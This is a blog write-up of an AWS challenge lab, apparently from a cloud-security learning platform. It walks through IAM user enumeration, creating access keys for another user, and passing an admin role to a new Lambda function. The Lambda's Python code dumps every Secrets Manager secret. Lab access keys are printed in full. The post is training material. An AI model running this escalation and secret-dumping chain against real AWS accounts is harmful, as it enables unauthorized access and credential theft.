Sitemap
marianita_cloud

marianita_cloud

Cloud Security ☁️❤️ Feel free to connect with me on LinkedIn: 🔗 linkedin.com/in/mariana-arce-aguilar-5b8051192 🌐 😊

Challenge Lab: Mapper (Medium) — Writeup

6 min readSep 19, 2026

--

Press enter or click to view image in full size

We start the lab and wait for it to generate the credentials. This may take 1–2 minutes:

Press enter or click to view image in full size

Step 1: Configure AWS credentials using environment variables

In this step, I configured the AWS credentials directly as environment variables instead of using an AWS CLI profile:

export AWS_ACCESS_KEY_ID=AKIAQ7H5VOHZVILMX2IE
export AWS_SECRET_ACCESS_KEY="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"
export AWS_DEFAULT_REGION=us-east-1
Press enter or click to view image in full size

Then I verified that the credentials were valid by running:

aws sts get-caller-identity
Press enter or click to view image in full size

Step 2: Enumerate IAM users

After confirming that the current identity was cg-pentest-lab, I enumerated all IAM users in the account to identify which user might have interesting access:


aws iam list-users
#I also saved the output to a file for easier analysis:
aws iam list-users >users.txt
Press enter or click to view image in full size

The output showed around 90 IAM users with randomly generated names. Since reviewing each user manually would take too much time, the next step was to automate the enumeration of their attached and inline policies in parallel to identify which user had admin-level permissions.

Step 3: Enumerate IAM policies for all users

Since there were around 90 IAM users with random names, I created a quick loop to enumerate which users had attached or inline IAM policies.

aws iam list-users --query 'Users[].UserName' --output text | tr '\t' '\n' | while read user; do
policies=$(aws iam list-attached-user-policies --user-name "$user" --query 'AttachedPolicies[].PolicyName' --output text 2>/dev/null)
inline=$(aws iam list-user-policies --user-name "$user" --query 'PolicyNames[]' --output text 2>/dev/null)
if [ -n "$policies" ] || [ -n "$inline" ]; then
echo "=== $user ==="
echo "Attached: $policies"
echo "Inline: $inline"
fi
done
Press enter or click to view image in full size

What I did here was list all IAM users, extract only their usernames, and then loop through each one. For every user, I checked two things:

  • Attached managed policies
  • Inline policies directly assigned to the user

If the user had any policy attached, the script printed the username and the policy names. This helped me quickly filter out the users that actually had useful permissions instead of manually reviewing all users one by one.

In parallel, I also ran aws-enumerator to compare the results and speed up the enumeration process:

The goal of this step was to identify any user with interesting permissions, or policies that could lead to privilege escalation or any other actions:

./aws-enumerator enum -services all
Press enter or click to view image in full size

Step 4: Run AWS Enumerator and identify interesting IAM users

In parallel with my manual enumeration, I ran aws-enumerator to dump available service information:

./aws-enumerator dump -services all
#In this case, I only wanted to focus on IAM, so I ran:
./aws-enumerator dump -services iam
Press enter or click to view image in full size
Press enter or click to view image in full size

After reviewing the IAM results, I noticed two interesting users:

cg-pentest-lab
cg-hlksbxhf-lab

The first one, cg-pentest-lab, was my current user. It had an inline policy named:

cg-pentest-create-access-key-lab

The second one, cg-hlksbxhf-lab, stood out because it had an inline policy named:

cg-lambda-developer-policy-lab
Press enter or click to view image in full size

That made cg-hlksbxhf-lab the target user, because the policy name suggested it might have Lambda-related permissions.

Get marianita_cloud’s stories in your inbox

Join Medium for free to get updates from this writer.

Next, I reviewed both inline policies to understand what my current user could do and what permissions the Lambda-related user had:

aws iam get-user-policy \
--user-name cg-hlksbxhf-lab \
--policy-name cg-lambda-developer-policy-lab
Press enter or click to view image in full size
aws iam get-user-policy \
--user-name cg-pentest-lab \
--policy-name cg-pentest-create-access-key-lab
Press enter or click to view image in full size

this step was to confirm whether my current user could interact with or create credentials for the target Lambda user, and whether that user had permissions that could help continue the attack path…

Step 5: Create access keys for the target Lambda user and prepare the Lambda payload

After reviewing the policies, I identified a clear privilege escalation path:

  1. My current user could create access keys for other IAM users.
  2. The target user cg-hlksbxhf-lab had Lambda-related permissions.
  3. That user could create a Lambda function and pass the role cg-LambdaAdminExecutionRole-lab.
  4. A Lambda function using that role could access Secrets Manager.

First, I created new access keys for the target user:

aws iam create-access-key --user-name cg-hlksbxhf-lab
Press enter or click to view image in full size

Then I saved the returned AccessKeyId and SecretAccessKey and exported them as environment variables:

export AWS_ACCESS_KEY_ID=<NEW_ACCESS_KEY_ID>
export AWS_SECRET_ACCESS_KEY=<NEW_SECRET_ACCESS_KEY>
Press enter or click to view image in full size

After that, I created the Lambda function code locally. The Lambda uses boto3 to list all secrets in Secrets Manager and then attempts to retrieve each secret value:

cat > /tmp/lambda_function.py << 'EOF'

import boto3
import json

def lambda_handler(event, context):
client = boto3.client('secretsmanager', region_name='us-east-1')
secrets = client.list_secrets()
results = {}
for s in secrets['SecretList']:
name = s['Name']
try:
val = client.get_secret_value(SecretId=name)
results[name] = val.get('SecretString', 'binary')
except Exception as e:
results[name] = str(e)
return results
EOF

Finally, I packaged the Lambda code into a ZIP file:

cd /tmp && zip function.zip lambda_function.py

this step was to prepare a Lambda payload that could be deployed using the target user’s permissions and executed with the privileged Lambda role to retrieve secrets from AWS Secrets Manager.

Step 6: Invoke the Lambda function and retrieve the flag

After creating the Lambda function successfully, I invoked it to execute the payload and read the secrets using the privileged Lambda execution role:

aws lambda create-function \
--function-name mapper-privesc2 \
--runtime python3.12 \
--role arn:aws:iam::067103977971:role/cg-LambdaAdminExecutionRole-lab \
--handler lambda_function.lambda_handler \
--zip-file fileb:///tmp/function.zip \
--region us-east-1
Press enter or click to view image in full size

The function was created using the privileged execution role cg-LambdaAdminExecutionRole-lab.

Once the Lambda function was created successfully, I invoked it to execute the payload and read the secrets using the privileged Lambda execution role:

aws lambda invoke \
--function-name mapper-privesc2 \
--region us-east-1 \
/tmp/output.json && cat /tmp/output.json
Press enter or click to view image in full size

The function executed successfully and returned the secret value from Secrets Manager:

{“cg-admin-flag-lab”: “HSM{…}”}

The complete attack path was:

  1. cg-pentest-lab had iam:CreateAccessKey permissions on any user.
  2. I created access keys for cg-hlksbxhf-lab.
  3. cg-hlksbxhf-lab had lambda:CreateFunction and iam:PassRole permissions for cg-LambdaAdminExecutionRole-lab.
  4. The Lambda function executed successful and retrieve the secret cg-admin-flag-lab.
Press enter or click to view image in full size

--

marianita_cloud
marianita_cloud

Written by marianita_cloud

Cloud Security ☁️❤️ Feel free to connect with me on LinkedIn: 🔗 linkedin.com/in/mariana-arce-aguilar-5b8051192 🌐 😊